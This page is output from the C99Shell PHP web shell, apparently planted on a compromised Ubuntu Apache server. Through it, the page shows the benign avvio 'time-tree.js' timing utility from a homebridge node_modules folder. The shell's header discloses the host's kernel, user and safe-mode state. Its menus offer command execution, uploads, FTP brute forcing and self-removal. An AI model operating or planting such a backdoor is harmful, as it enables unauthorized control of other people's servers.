!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lib/node_modules/homebridge-config-ui-x/node_modules/avvio/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     time-tree.js (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict'
const archy = require('archy')

function TimeTree () {
  this.root = null
  this.tableId = new Map()
  this.tableLabel = new Map()
}

TimeTree.prototype.trackNode = function (node) {
  this.tableId.set(node.id, node)
  if (this.tableLabel.has(node.label)) {
    this.tableLabel.get(node.label).push(node)
  } else {
    this.tableLabel.set(node.label, [node])
  }
}

TimeTree.prototype.untrackNode = function (node) {
  this.tableId.delete(node.id)

  const labelNode = this.tableLabel.get(node.label)
  if (labelNode.id) {
    this.tableLabel.delete(node.label)
    return
  }
  labelNode.pop()

  if (labelNode.length === 0) {
    this.tableLabel.delete(node.label)
  }
}

TimeTree.prototype.getParent = function (parent) {
  if (parent === null) {
    return this.root
  }

  const parentNode = this.tableLabel.get(parent)
  if (parentNode.id) {
    return parentNode
  }
  return parentNode[parentNode.length - 1]
}

TimeTree.prototype.getNode = function (nodeId) {
  return this.tableId.get(nodeId)
}

TimeTree.prototype.add = function (parent, child, start) {
  const isRoot = parent === null
  if (isRoot) {
    this.root = {
      id: 'root',
      label: child,
      start,
      nodes: []
    }
    this.trackNode(this.root)
    return this.root.id
  }

  const parentNode = this.getParent(parent)
  const nodeId = `${child}-${Math.random()}`
  const childNode = {
    id: nodeId,
    parent,
    start,
    label: child,
    nodes: []
  }
  parentNode.nodes.push(childNode)
  this.trackNode(childNode)
  return nodeId
}

TimeTree.prototype.start = function (parent, child, start) {
  return this.add(parent, child, start || Date.now())
}

TimeTree.prototype.stop = function (nodeId, stop) {
  const node = this.getNode(nodeId)
  if (node) {
    node.stop = stop || Date.now()
    node.diff = (node.stop - node.start) || 0
    this.untrackNode(node)
  }
}

TimeTree.prototype.toJSON = function () {
  return Object.assign({}, this.root)
}

TimeTree.prototype.prittyPrint = function () {
  const decorateText = (node) => {
    node.label = `${node.label} ${node.diff} ms`
    if (node.nodes.length > 0) {
      node.nodes = node.nodes.map(_ => decorateText(_))
    }
    return node
  }
  const out = decorateText(this.toJSON())
  return archy(out)
}

module.exports = TimeTree

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--